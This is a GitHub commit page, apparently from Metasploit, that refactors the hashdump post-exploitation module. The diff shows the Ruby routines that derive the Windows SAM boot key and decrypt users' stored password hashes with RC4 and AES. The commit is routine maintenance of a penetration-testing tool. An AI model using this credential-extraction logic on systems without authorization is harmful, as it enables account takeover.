Skip to content

Commit 6d38dff

Browse files
David MaloneyDavid Maloney
authored andcommitted
convert conditionals to case statements
just a little tidying up by using case statements
1 parent a01796d commit 6d38dff

File tree

1 file changed

+41
-44
lines changed

1 file changed

+41
-44
lines changed

modules/post/windows/gather/hashdump.rb

Lines changed: 41 additions & 44 deletions
Original file line numberDiff line numberDiff line change
@@ -141,27 +141,26 @@ def capture_hboot_key(bootkey)
141141

142142
revision = vf[0x68, 4].unpack('V')[0]
143143

144-
if revision == 1
145-
hash = Digest::MD5.new
146-
hash.update(vf[0x70, 16] + @sam_qwerty + bootkey + @sam_numeric)
147-
148-
rc4 = OpenSSL::Cipher.new("rc4")
149-
rc4.key = hash.digest
150-
hbootkey = rc4.update(vf[0x80, 32])
151-
hbootkey << rc4.final
152-
return hbootkey
153-
end
154-
155-
if revision == 2
156-
aes = OpenSSL::Cipher.new('aes-128-cbc')
157-
aes.key = bootkey
158-
aes.padding = 0
159-
aes.decrypt
160-
aes.iv = vf[0x78, 16]
161-
return aes.update(vf[0x88, 16]) # we need only 16 bytes
144+
case revision
145+
when 1
146+
hash = Digest::MD5.new
147+
hash.update(vf[0x70, 16] + @sam_qwerty + bootkey + @sam_numeric)
148+
149+
rc4 = OpenSSL::Cipher.new("rc4")
150+
rc4.key = hash.digest
151+
hbootkey = rc4.update(vf[0x80, 32])
152+
hbootkey << rc4.final
153+
hbootkey
154+
when 2
155+
aes = OpenSSL::Cipher.new('aes-128-cbc')
156+
aes.key = bootkey
157+
aes.padding = 0
158+
aes.decrypt
159+
aes.iv = vf[0x78, 16]
160+
aes.update(vf[0x88, 16]) # we need only 16 bytes
161+
else
162+
raise NotImplementedError, "Unknown hboot_key revision: #{revision}"
162163
end
163-
164-
raise NotImplementedError, "Unknown hboot_key revision: #{revision}"
165164
end
166165

167166
def capture_user_keys
@@ -254,34 +253,32 @@ def rid_to_key(rid)
254253
def decrypt_user_hash(rid, hbootkey, enchash, pass, default)
255254
revision = enchash[2, 2].unpack('v')[0]
256255

257-
if revision == 1
258-
if enchash.length < 20
259-
return default
260-
end
256+
case revision
257+
when 1
258+
if enchash.length < 20
259+
return default
260+
end
261261

262-
md5 = Digest::MD5.new
263-
md5.update(hbootkey[0,16] + [rid].pack("V") + pass)
262+
md5 = Digest::MD5.new
263+
md5.update(hbootkey[0,16] + [rid].pack("V") + pass)
264264

265-
rc4 = OpenSSL::Cipher.new('rc4')
266-
rc4.key = md5.digest
267-
okey = rc4.update(enchash[4, 16])
265+
rc4 = OpenSSL::Cipher.new('rc4')
266+
rc4.key = md5.digest
267+
okey = rc4.update(enchash[4, 16])
268+
when 2
269+
if enchash.length < 40
270+
return default
271+
end
268272

269-
elsif revision == 2
270-
if enchash.length < 40
273+
aes = OpenSSL::Cipher.new('aes-128-cbc')
274+
aes.key = hbootkey[0, 16]
275+
aes.padding = 0
276+
aes.decrypt
277+
aes.iv = enchash[8, 16]
278+
okey = aes.update(enchash[24, 16]) # we need only 16 bytes
279+
else
280+
print_error("Unknown user hash revision: #{revision}")
271281
return default
272-
end
273-
274-
aes = OpenSSL::Cipher.new('aes-128-cbc')
275-
aes.key = hbootkey[0, 16]
276-
aes.padding = 0
277-
aes.decrypt
278-
aes.iv = enchash[8, 16]
279-
okey = aes.update(enchash[24, 16]) # we need only 16 bytes
280-
281-
else
282-
print_error("Unknown user hash revision: #{revision}")
283-
return default
284-
285282
end
286283

287284
des_k1, des_k2 = rid_to_key(rid)

0 commit comments

Comments
 (0)